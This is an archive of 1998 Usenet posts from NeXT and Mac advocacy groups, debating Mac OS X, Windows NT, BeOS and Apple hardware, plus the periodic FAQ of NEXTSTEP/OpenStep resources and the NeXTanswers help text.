In article <stevehix-0108981433570001@ip57.safemail.com>,
stevehix@safemail.com (Steve Hix) wrote:
> Try: "Imagine if Microsoft had continued to develop Windows95
> after they had released WindowsNT...", it's closer to the actual
> relationship.
Nope, Windows NT lacks features that people get in Windows 95 and the user
interface in NT isn't as good as it is in Windows 95. Mac OS X, AFAIK, will
have a strick superset of the features found in OS 9 and the UI will be as
good or better.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 02 Aug 1998 00:20:19 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6q0bc2$g5u$1@nnrp1.dejanews.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <35C161F5.925953A@earthlink.net> <stevehix-0108981435170001@ip57.safemail.com>
In article <stevehix-0108981435170001@ip57.safemail.com>,
stevehix@safemail.com (Steve Hix) wrote:
> Jon, it's a limp analogy. MacOS 8.x is to MacOS X as
> Windows95 is to WindowsNT would be a more valid analogy.
More like:
Mac OS 8/9 <--> Windows 3.1
Mac OS X <--> Windows 95
Mac OS X Server <--> Windows NT
On the Windows site, remember that Windows NT does not have all the features
that 95 does so some people choose Windows 95 (and vise-versa). What features
does Mac OS 8/9 have that would be lost if you went with Mac OS X?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: waterwork1@aol.com
Newsgroups: comp.sys.next.advocacy
Subject: Pool cleaning Aquabot
Date: 2 Aug 1998 00:30:14 GMT
Organization: Rutgers University
Sender: gingrich@niobium-asy-13.rutgers.edu
Message-ID: <130942977337518848@aol.com>
Hi! I posted this using an unregistered copy of Newsgroup AutoPoster PRO!
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Date: Sat, 01 Aug 1998 20:42:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-0108982042280001@elk34.dol.net>
References: <35c0cd24.0@news.depaul.edu> <B1E65ACA-20BAA@206.165.43.108> <6pshr0$2r2$1@bartlet.df.lth.se> <35C22822.C641FEEB@earthlink.net> <joe.ragosta-3107982005300001@elk71.dol.net> <6pvl67$5ms@news1.panix.com>
In article <6pvl67$5ms@news1.panix.com>, sal@panix.com wrote:
> On Fri, 31 Jul 1998 20:05:28 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
> >Well, the switch to Intel will just make Be's failure that much quicker.
>
> Huh? They moved from an 8-12 mil target market to a 100 mil target market.
>
> >If they can't compete with Apple, how do you expect them to compete with
> >Microsoft?
>
> By that logic, Apple should have shut its doors in '96. They haven't been
> able to compete with MS all that well either.
Let's say you're right.
Apple, with $6 billion in revenues, an extremely loyal user base in the
tens of millions, their own hardware platform, $2 billion in cash in the
bank, and > 10,000 applications is stretched to the limit trying to
compete with MS. How is Be going to do better with none of those
advantages?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 01 Aug 1998 20:44:40 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-0108982044400001@elk34.dol.net>
References: <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu> <01bdb9f3$8703da10$3643bacd@isdnjhendry> <6pvl66$5ms@news1.panix.com>
In article <6pvl66$5ms@news1.panix.com>, sal@panix.com wrote:
> On 28 Jul 1998 01:45:47 GMT, Jonathan Hendry <jhendry@cmg.fcnbd.com> wrote:
> >Note that Matrox's latest, and very, very fast 2d/3d cards apparently only
> >come in AGP
> >versions. No PCI.
>
> They support PCI 2.1, but Matrox isn't building any PCI based versions at
> first. They claim "lack of demand". I wonder how many people will want/need
> to have two video cards and be shut out due to everyone moving to AGP?
Oh, no!!!
Most PCs don't have AGP. Only newer systems (< 1 year old) have AGP.
MATROX IS SCREWING THEIR CUSTOMERS!!!!
(at least if you hold them to the same standards that people are trying to
hold Apple to).
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server release - timing and price?
Date: Sat, 01 Aug 1998 17:26:54 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0108981726540001@sdn-ar-001casbarp247.dialsprint.net>
References: <6pna5f$j78$1@nnrp1.dejanews.com> <B1E512F6-23F7E@128.138.177.229>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <B1E512F6-23F7E@128.138.177.229>, "Jay Riley"
<datamagik@usa.net> wrote:
> Look for more postings about how cheap somebody's no-name PC with cheap
> parts and missing components are...you know, the kind that can barely run
> Microsoft Windows and no one who actually wants to be productive on their
> computer would use!
Oh please. If you look at even sub $1k machines, you see the components
they are are
hard drive: usually western digital, alot of times the exact same that the
g3 uses
video: usally either rage pro, or the intel agp card, or a diamond or vodoo card
cd: lots of times the same cd the g3 uses
sound: sound blaster or another card whose name escapes me.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998080201574700.VAA26865@ladder01.news.aol.com>
Date: 2 Aug 1998 01:57:47 GMT
Organization: AOL http://www.aol.com
References: <forrestDELETE-THIS!-0108981640060001@term2-27.vta.west.net>
Forrest said:
>>Option-click the desktop (should always have a least a few pixels visible,
>usually about half on inch on the right side of the screen), so it hides
>the foreground app and you're free to work in the Finder.
Thanks, hadn't known that.
>> wait for the
>> clipboard to convert
>
>Eh? I've never met an app that had to convert the clipboard (to/from
>what?) before
Every time I switch from Illustrator to anything else, it notes that it's
converting the clipboard to eps aicb (or some such) format. This is on a Mac
Quadra (though I'll be getting a PowerMac next week at work) so perhaps it'll
flash by too quickly to notice, but it's often 4-5MB of vector graphics and
type converted to paths--I doubt it's going to be instantaneous.
<<description of switching back and forth snipped>>
>Now I admit that this is a shortcoming, although a small one.
I don't see it as a small shortcoming--it makes three discrete tasks (printing
to three different printers) into five:
switch from current app
drag and drop x 3
switch back
Anyone looking for funding or beta-testers for an application to restore the
NeXT UI for Mac OS X?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Message-ID: <35C3D908.7DB0@SPAMGUARD.wayne.edu>
From: Eric Iverson <eric_iverson@SPAMGUARD.wayne.edu>
Organization: WSU
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: What Be SHould have Done!
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sun, 02 Aug 1998 03:11:07 GMT
NNTP-Posting-Date: Sat, 01 Aug 1998 23:11:07 EDT
Joshua Moore wrote:
> Be did sign licenses with Motorola, PowerComputing, and Umax to replace
> MacOS with BeOS.
No, BeOS was not going to REPLACE Mac OS.
BeOS on PowerMac or PMac clones couldn't
RUN without Mac OS (it would've run on CHRP
machines without Mac OS, though). There's NOTHING
in these articles that says anything about BeOS
REPLACING MacOS, though there is some uneducated
innuendo.
> The only problem seems to be that the cloners were
> making their bread and butter selling the MacOS and were counting on
> that revenue during the transition to Be.
No transition, they were just going to ADD BeOS to
the bundle.
> When Apple pulled their
> licenses they were left without money, and without a hardware design (by
> then Be had shut down BeBox production and didn't have any modern
> hardware designs).
> Here are the relevant URL's from when the licenses were signed:
>
> http://www.macworld.com/daily/daily.1063.html
> http://www.macworld.com/daily/daily.1058.html
> http://www.macworld.com/daily/daily.1055.html
>
> and where I found them:
>
> http://www.be.com/aboutbe/news/index.html
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 98 21:10:33 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E934CC-10178@206.165.43.137>
References: <not-0108981650140001@ip-26-120.phx.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
>In article <B1E8D0B8-D1531@206.165.43.118>, "Lawson English"
><english@primenet.com> wrote:
>
>> >You missed the point. The point is, if Apple doesn't come up with a
>> >"modern" OS that delivers SMP,
>>
>> No shipping G3 system will handle SMP. No rumored G3 system will handle
>> SMP. I don't think that even RS/6000 systems based on G3's will handle
>SMP.
>> There's too much extra hardware needed and G4 systems that WILL handle
>SMP
>> with minimal hardware are just around the corner, so why bother
>developing
>> it? G3's are laptop-oriented CPUs, remember.
>
>Did I say anything about G3s and SMP? No, I did not. Please try to read
>before you respond.
But the G3's are the only systems that will run MacOS X that are currently
shipping. Motorola/IBM aren't even *sampling* or even DEMO-ing a genuine G4
CPU and won't be for some time. SMP isn't even a blip on the horizon of
MacOS, X or otherwise.
>
>As you said, G4s are just around the corner, so SMP and Mac OS X is a very
>relevant issue. And NT DOES offer SMP, right now.
>
Just around the corner in terms of designing SMP solutions for G3 systems.
Still at least a year away for MacOS TESTING, letalone implementation.
>> preemptive multitasking and protected
>> >memory within the next 2 years, all the people who need those things to
>> >survive will *go* to NT whether they like it or not. Obsoleting older
>> >hardware is actually a sideline issue--as I said, those people who
depend
>> >on fast hardware/killer OS to sruvive will have long since moved to G3.
>>
>> Like independent software developers who bought 604e-based systems so
>that
>> they could work with 7.x, 8.x, Rhapsody and MacOS X applications? Some
>of
>> us don't need "killer speed" but DO need a single box that can handle as
>> many OS variations as possible. A G3 certainly won't do that.
>
>Did I mention independent software developers or the systems they need to
>run? No, I did not. Please try to read before you respond.
>
ALL developers that wanted to work with Rhaposdy had to purchase 604e-based
systems. That was an important (albeit small) market for 604e-based
systems. And not every DTP person upgrades the entire box every year. They
may well have been satisfied with a G3 card which is as fast or faster than
the G3 motherboards that are currently shipping.
>> >That 2-month-old 9600 will be 16 months old by the time OS X hits the
>> >streets, and will be 1/4 the speed of the cheapest G3 mac for sale (by
>> >then we will have 1000 MHz systems available, not to mention dual G4
>> >systems.) Getting OS X out the door as fast as possible is the *only*
>> >thing that will salvage the high-end production market for Apple and
>keep
>> >them from going NT.
>>
>> But what about the person who wanted to buy a cheapo, entry-level
>> video-editing system and run the latest software on it as well?
>
>Was I talking about that type of user? No, I was not. Please try to read
>before you respond.
Yes you were. The high-end video person who bought the 9600/300 has a
junior partner quite willing to put up with 1/4 the speed as long as it can
handle the 6 slots needed for high-end video editing.
>
>> Apple is locking THEM out of the upgrade stream, even if the original
>owner
>> has moved on to something else (and a person who needed a 9600 won't be
>> happy with any current or announced G3 system so they may not have
>> upgraded by then in the first place, except to purchase a $500 card that
>> gives them 90% of the speed of your 1000Mhz G3 system).
>
>*If* those upgrade cards are available in the future. That is a big if,
>especially if Mac OS X makes buying one a fool's purchase like it is right
>now.
Cheaper and more effective than purchasing a G3 *and* $1100 expansion
chassy to add 3 extra slots.
>
>Please try to read before you respond.
>
Whatever.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <4193901425621@digifix.com>
Date: 2 Aug 1998 03:48:45 GMT
Organization: Digital Fix Development
Message-ID: <6522902030423@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sun, 2 Aug 1998 14:13:33 +1000
Organization: University of Queensland
Message-ID: <6q0p1g$sva$1@bunyip.cc.uq.edu.au>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <6pq2n2$q44@newsb.netnews.att.com> <6pqa9r$s09$1@plo.sierra.com> <joe.ragosta-3007981600420001@wil33.dol.net> <6prd57$h22$1@bunyip.cc.uq.edu.au> <joe.ragosta-3107981050490001@wil31.dol.net> <6pu3r9$hmv$1@bunyip.cc.uq.edu.au> <joe.ragosta-0108981416480001@elk90.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote in message
joe.ragosta-0108981416480001@elk90.dol.net...
>In article <6pu3r9$hmv$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>> >It's clocked at 66x2.5. I've never been able to go any higher than
that,
>> >even with a massive, expensive heat sink.
>>
>> The CPU is probably multiplier-locked, you'd most likely have to up the
bus
>> speed to overclock. Couldn't say for sure, I don't know that much about
>> Cyrix CPUs since I avoid them whenever possible. That motherboard
supports
>> 75 & 83Mhz bus speeds IIRC, so try running at 2.5x75. 83Mhz bus usually
>> requires very good quality EDO RAM or SDRAM, although you can sometimes
get
>> away with it with "normal" stuff.
>
>I tried 2.5 x 75. No go. Then, I tried 2 x83 and that didn't work either.
>
>I'm using SDRAM.
Weird, or rather, unlucky. If you're really keen to overclock (which I
doubt) you could try upping the CPU core voltage slightly - however this can
have smoke-releasing consequences, and as everyone knows, computers don't
run if you let the smoke out :).
>
>--
>Regards,
>
>Joe Ragosta
>See the Complete Macintosh Advocacy Page
>http://www.dol.net/~Ragosta/complmac.htm
From: waterwork1@aol.com
Date: 1 Aug 1998 22:22:44 -0400
Newsgroups: comp.sys.next.advocacy
Subject: Pool cleaning Aquabot
Sender: gingrich@niobium-asy-13.rutgers.edu
Message-ID: <130942977337518848-cancel@geneva.rutgers.edu>
Control: cancel <130942977337518848@aol.com>
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sun, 02 Aug 1998 01:33:41 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0208980133410001@sdn-ar-001casbarp291.dialsprint.net>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6pqamt$s5d$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> I love my Libretto. Less than $1000, and under 2 lbs. I wish Apple would
> develop a PowerBook with those features, it would sure help my development.
You want apple to develop a powerbook that is under $1000?!??!?!?
HAHAHAHHAHAHH
AHHAHAHHAHHAHAH
HAHAHHHAHAHHAHA
HAHAHAHHAHAHHA
HAAHHAHAHAHHAHAH
ok its two minutes later, I am almost done laughing...
Now if you forget crackhead fantasies of apple having a under $1000
powerbook, I bet the 2300c or 2400 are preety close in weight to what you
are looking for, and you can find a used 2300c for under $1000, and the
$2400 is about $1400 now.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sun, 02 Aug 1998 01:36:31 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0208980136340001@sdn-ar-001casbarp291.dialsprint.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <macghod-2907982228450001@sdn-ar-002casbarp187.dialsprint.net> <6pqgr8$mb2$1@nnrp1.dejanews.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6pqgr8$mb2$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> > I shouldnt blame Apple for not having true multitasking? Uh huh. SInce
> > macos x will be out in a couple of years, I wont lose sleep about it, but
> > on REAL os's no software COULD do this, no matter how hard the programmer
> > tried.
>
> Please name an operating system that is real by the definition that you gave.
>
> --
By the definition I gave? Their is no definition up their...
As far as what are real os's, linux, openstep, macos x server, macos x...
Damn, Apple should of hired away those NeXT programmers away from Next a
good 10 years ago, us mac users would of thanked them alot sooner
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
References: <26703-35C212B2-10@newsd-122.bryant.webtv.net> <26460-35C35EA3-21@newsd-121.bryant.webtv.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35c43548.0@nnrp1.news.uk.psi.net>
Date: 2 Aug 98 09:45:44 GMT
RasAllGhul@webtv.net (Joshua Moore) wrote:
>Richard=A0Frith-Macdonald wrote:
>>Joshua Moore wrote:
>
<SNIP>
>>>The paletting behavior is similar to how
>>>MacOS 8.5' s application menu can be torn
>>>off, but makes use of the Mac's contextual
>>>menus and NeXT's option of having the
>>>menubar pop up beneath the cursor.
>>>With this behavior any command can be
>>>elevated to the top level (therefore easily
>>>accessible) and also preserve menu
>>>heirarchy. It also combines Mac and NeXT
>>>concepts in complimentary ways.
>
>>That all sounds fine, and a useful mechanism
>>to have - it's just that I personally don't much
>>like using click-to-popup menus, preferring to
>>see things on the screen (that's probably just
>>habit).
>
>*sigh* After you chose the palette from the contextual menu it would
>stay on screen until "you tucked it away in the menubar". Or it could be
>torn off from the menubar
Sorry - I missed that first time round.
>
>>=A0 Also - I just can't understand the aversion to
>>buttons on the menu bar - none of the reasons
>>I have been given convince, and I suspect that
>>it's really more habit than anything else that
>>makes some people hate that idea.
>
